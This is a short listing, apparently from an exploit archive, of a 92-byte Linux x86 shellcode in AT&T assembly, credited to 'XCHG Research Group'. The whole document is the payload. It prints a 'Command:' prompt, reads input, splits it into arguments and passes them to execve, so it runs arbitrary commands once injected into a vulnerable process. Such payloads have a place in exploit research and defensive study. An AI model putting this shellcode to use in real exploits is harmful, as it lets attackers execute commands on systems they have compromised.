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linux/x86 execve read shellcode - 92 bytes
[========================================== linux/x86 execve read shellcode - 92 bytes ========================================== # XCHG Research Group # Linux/x86 execve read shellcode - 92 bytes .text .globl _start _start: # EAX = 0x04 -> syscall write() xorl %eax, %eax movb $0x4, %al xorl %ebx, %ebx inc %ebx pushl $0x20202020 pushl $0x3a646e61 pushl $0x6d6d6f43 movl %esp, %ecx xorl %edx, %edx movb $0x9, %dl int $0x80 # EAX = 0x03 -> syscall read() xorl %eax, %eax movb $0x3, %al xorl %ebx, %ebx xorl %edx, %edx movb $0x20, %dl subl %edx, %esp movl %esp, %ecx int $0x80 # buffer[read(0, buffer, sizeof(buffer))] = 0; addl %eax, %ecx dec %ecx movl %ebx, (%ecx) movl %esp, %ebx addl %eax, %ebx movl %eax, %ecx xorl %edx, %edx push %edx LOOP1: movb (%ebx), %al cmp $0x20, %al jne CONT xorb $0x20, (%ebx) inc %ebx pushl %ebx dec %ebx CONT: dec %ebx loop LOOP1 push %ebx movl %esp, %ecx xorl %eax, %eax movb $0xb, %al int $0x80 # EAX = 0x01 -> syscall exit xorl %eax, %eax inc %al xorl %ebx, %ebx int $0x80 # 0day.today [2024-12-25] #